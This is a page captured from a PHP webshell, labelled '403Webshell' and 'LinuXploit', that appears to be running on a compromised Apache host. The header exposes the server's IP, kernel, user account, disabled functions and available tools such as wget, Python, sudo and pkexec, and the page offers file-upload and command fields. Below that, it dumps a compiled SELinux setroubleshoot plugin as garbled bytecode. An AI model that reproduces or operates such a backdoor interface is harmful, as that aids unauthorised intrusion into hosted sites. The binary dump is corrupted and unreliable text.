403Webshell
Server IP : 77.68.64.20  /  Your IP : 216.73.216.223
Web Server : Apache
System : Linux hp3-wp-1011317.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els8.x86_64 #1 SMP Sun Jul 5 17:25:39 UTC 2026 x86_64
User : csh2392878 ( 2033753)
PHP Version : 8.3.30
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/setroubleshoot/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/setroubleshoot/plugins/httpd_unified.pyo
�
c�L]c@s`ddlZejdde�ZejZddlZddlmZdefd��YZdS(i����Nssetroubleshoot-pluginstfallback(tPlugintplugincBsbeZed�Zed�Zed�ZdZed�Zed�ZdZ	d�Z
d�ZRS(	s?
    SELinux prevented httpd $ACCESS access to http files.
    sW
    SELinux prevented httpd $ACCESS access to http files.

    Ordinarily httpd is allowed full access to all files labeled with http file
    context.  This machine has a tightened security policy with the $BOOLEAN
    turned off,  This requires explicit labeling of all files.  If a file is
    a cgi script it needs to be labeled with httpd_TYPE_script_exec_t in order
    to be executed.  If it is read only content, it needs to be labeled
    httpd_TYPE_content_t, it is writable content. it needs to be labeled
    httpd_TYPE_script_rw_t or httpd_TYPE_script_ra_t. You can use the
    chcon command to change these context.  Please refer to the man page
    "man httpd_selinux" or
    <a href="http://fedora.redhat.com/docs/selinux-apache-fc3">FAQ</a>
    "TYPE" refers to one of "sys", "user" or "staff" or potentially other
    script types.
    sg
    Changing the "$BOOLEAN" boolean to true will allow this access:
    "setsebool -P $BOOLEAN=1"
    ssetsebool -P $BOOLEAN=1scIf you want to allow httpd to execute cgi scripts and to unify HTTPD handling of all content files.s_you must tell SELinux about this by enabling the 'httpd_unified' and 'http_enable_cgi' booleanss1# setsebool -P httpd_unified=1 httpd_enable_cgi=1cCs!tj|t�|jd�dS(Ni(Rt__init__t__name__tset_priority(tself((s2/usr/share/setroubleshoot/plugins/httpd_unified.pyR=scCsj|jd�rf|jd�rf|jdks<|jdkrftjd�rftjd�rf|j�SdS(Nshttpd_t httpd_.*_script_ts	httpd_.*ttfiletdirt
httpd_unifiedthttpd_enable_cgi(tmatches_source_typestmatches_target_typesttclasstselinuxtsecurity_get_boolean_activetreporttNone(Rtavc((s2/usr/share/setroubleshoot/plugins/httpd_unified.pytanalyzeAs
(Rt
__module__t_tsummarytproblem_descriptiontfix_descriptiontfix_cmdtif_textt	then_texttdo_textRR(((s2/usr/share/setroubleshoot/plugins/httpd_unified.pyRs				(tgettextttranslationtTrueRRtsetroubleshoot.PluginRR(((s2/usr/share/setroubleshoot/plugins/httpd_unified.pyt<module>s
	

Youez - 2016 - github.com/yon3zu
LinuXploit